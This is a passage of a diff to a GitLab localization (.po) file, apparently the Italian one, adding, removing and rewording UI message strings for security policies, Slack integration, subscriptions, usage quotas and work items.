msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr "inizia una %{new_merge_request} con queste modifiche"
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr "Il tuo nome"
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
